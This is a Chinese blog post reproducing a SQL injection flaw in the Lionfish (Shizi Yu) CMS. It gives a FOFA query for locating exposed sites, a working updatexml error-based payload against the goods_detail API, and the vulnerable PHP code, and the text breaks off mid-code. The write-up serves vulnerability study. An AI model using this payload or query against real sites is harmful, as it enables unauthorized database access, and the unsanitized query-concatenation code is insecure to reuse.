狮子鱼SQL注入漏洞复现

最新推荐文章于 2024-08-06 01:32:36 发布

asdnaiol

最新推荐文章于 2024-08-06 01:32:36 发布

阅读量1.6k

点赞数

CC 4.0 BY-SA版权

分类专栏：漏洞复现文章标签： sql 数据库 php

本文链接：https://blog.csdn.net/qq_45429101/article/details/129732937

漏洞复现专栏收录该内容

4 篇文章

订阅专栏

文章详细介绍了狮子鱼CMS在ApiController.class.php中的一个SQL注入漏洞，通过fofa语法和特定payload可以复现该问题。代码中未对参数进行严格过滤，导致可以直接拼接SQL执行。修复建议是升级到最新版本以解决此安全风险。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

狮子鱼cms sql注入漏洞复现

一、前言

狮子鱼CMS是一款管理系统。在 ApiController.class.php处参数过滤存在不严谨，导致SQL注入漏洞

二、环境搭建与复现

fofa语法： “/seller.php?s=/Public/login”
界面如下在这里插入图片描述
执行payload：https://www.xxx.com/index.php?s=api/goods_detail&goods_id=1%20and%20updatexml(1,concat(0x7e,database(),0x7e),1)
结果：
漏洞分析:ApiController.class.php

public function goods_detail()
    {
        $goods_id = I('get.goods_id');
        //gallery =>img_url
        //goods goods.goods_desc  goods_name group_price  market_price  sell_count group_number 

        $sql="select g.*,gd.description,gd.summary,gd.tag from ".
        C('DB_PREFIX')."goods g,".C('DB_PREFIX')."goods_description gd where g.goods_id=gd.goods_id and g.goods_id=".$goods_id;

        $goods_arr=M()->query($sql);

        $qian=array("\r\n");
        $hou=array("<br/>");
        $goods_arr[0]['summary'] = str_replace($qian,$hou,$goods_arr[0]['summary']); 

        $sql="select image from ".C('DB_PREFIX')."goods_image where goods_id=".$goods_id;
        $goods_image=M()->query($sql);

        $gallery = array();
        $default_image = '';
        foreach($goods_image as $val)
        {
            $val['img_url'] = str_replace('http','https',C('SITE_URL')).'/Uploads/image/'.$val['image'];

            if(empty($default_image))
            {
                $default_image = str_replace('http','https',C('SITE_URL')).resize($val['image'], C('goods_thumb_width'), C('goods_thumb_height'));
            }

            $gallery[] = array('img_url' => $val['img_url']); 
        }

        $goods = $goods_arr[0];